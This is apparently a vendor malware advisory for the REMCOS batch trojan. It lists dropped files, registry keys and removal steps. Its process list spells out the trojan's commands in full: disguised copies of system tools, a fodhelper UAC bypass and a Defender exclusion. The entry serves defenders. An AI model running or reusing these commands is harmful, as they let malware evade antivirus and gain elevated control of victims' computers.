Trojan.BAT.REMCOS.J
Trojan:Win32/Leonem [non_writable_container] (MICROSOFT)
Windows
![](/vinfo/imgFiles/legend.jpg)
Threat Type: Trojan
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
883,782 bytes
BAT
06 Jun 2024
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan drops the following files:
- %AppDataLocal%\PowerShell\StartupProfileData-NonInteractive
- %Public%\alpha.exe
- %Public%\kn.exe
- %Public%\Lewxa.txt
- %Public%\Libraries\Lewxa.com
- %Public%\xkn.exe
- %User Temp%\kvbhewqd.j2p.psm1
- %User Temp%\sid1tbnn.54n.ps1
It adds the following processes:
- cmd /c extrac32.exe /C /Y %System%\cmd.exe %Public%\alpha.exe
- %Public%\alpha /c extrac32.exe /C /Y %System%\WindowsPowerShell\v1.0\powershell.exe %Public%\xkn.exe
- %Public%\alpha /c extrac32.exe /C /Y %System%\certutil.exe %Public%\kn.exe
- %Public%\alpha /c %Public%\xkn -WindowStyle hidden -Command "%Public%\alpha /c reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d '%Public%\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath %System Root%\Users "' start fodhelper.exe "
- "%Public%\alpha.exe" /c reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "%Public%\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath %System Root%\Users "
- %Public%\alpha /c %Public%\kn -decodehex -F "{Malware Path}\{Malware Filename}" "%Public%\Lewxa.txt" 9
- %Public%\alpha /c %Public%\kn -decodehex -F "%Public%\Lewxa.txt" "%Public%\Libraries\Lewxa.com" 12
- %Public%\Libraries\Lewxa.com
- %Public%\alpha /c del "%Public%\Lewxa" / A / F / Q / S
- %Public%\alpha /c del "%Public%\Lewxa.txt" / A / F / Q / S
- %Public%\alpha /c del "%Public%\xkn.exe" / A / F / Q / S
- %Public%\alpha /c del "%Public%\kn.exe" / A / F / Q / S
- %Public%\alpha /c taskkill /F /IM SystemSettings.exe
- %Public%\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
- taskkill /F /IM SystemSettingsAdminFlows.exe
- cmd /c del "%Public%\alpha.exe" / A / F / Q / S
Autostart Technique
This Trojan adds the following registry entries to enable its automatic execution at every system startup:
HKEY_USERS\{SID}_CLASSES\ms-settings\
shell\open\command
{Default} = %Public%\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath %System Root%\Users
Other Details
This Trojan adds the following registry keys:
HKEY_USERS\{SID}_CLASSES
ms-settings
HKEY_USERS\{SID}_CLASSES\ms-settings
shell
HKEY_USERS\{SID}_CLASSES\ms-settings\
shell
open
HKEY_USERS\{SID}_CLASSES\ms-settings\
shell\open
command
It connects to the following possibly malicious URL:
- https://{BLOCKED}ive.com
SOLUTION
9.800
19.396.04
10 Jun 2024
19.397.00
11 Jun 2024
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Restart in Safe Mode
Step 4
Delete this registry value
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_USERS\{SID}_CLASSES\ms-settings\shell\open\command
- {Default} = %Public%\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath %System Root%\Users
- {Default} = %Public%\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath %System Root%\Users
Step 5
Delete this registry key
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_USERS\{SID}_CLASSES\ms-settings\shell\open\
- command
- command
- In HKEY_USERS\{SID}_CLASSES\ms-settings\shell\
- open
- open
- In HKEY_USERS\{SID}_CLASSES\ms-settings\
- shell
- shell
- In HKEY_USERS\{SID}_CLASSES\
- ms-settings
- ms-settings
Step 6
Search and delete these files
- %AppDataLocal%\PowerShell\StartupProfileData-NonInteractive
- %Public%\alpha.exe
- %Public%\kn.exe
- %Public%\Lewxa.txt
- %Public%\Libraries\Lewxa.com
- %Public%\xkn.exe
- %User Temp%\kvbhewqd.j2p.psm1
- %User Temp%\sid1tbnn.54n.ps1
Step 7
Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.BAT.REMCOS.J. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
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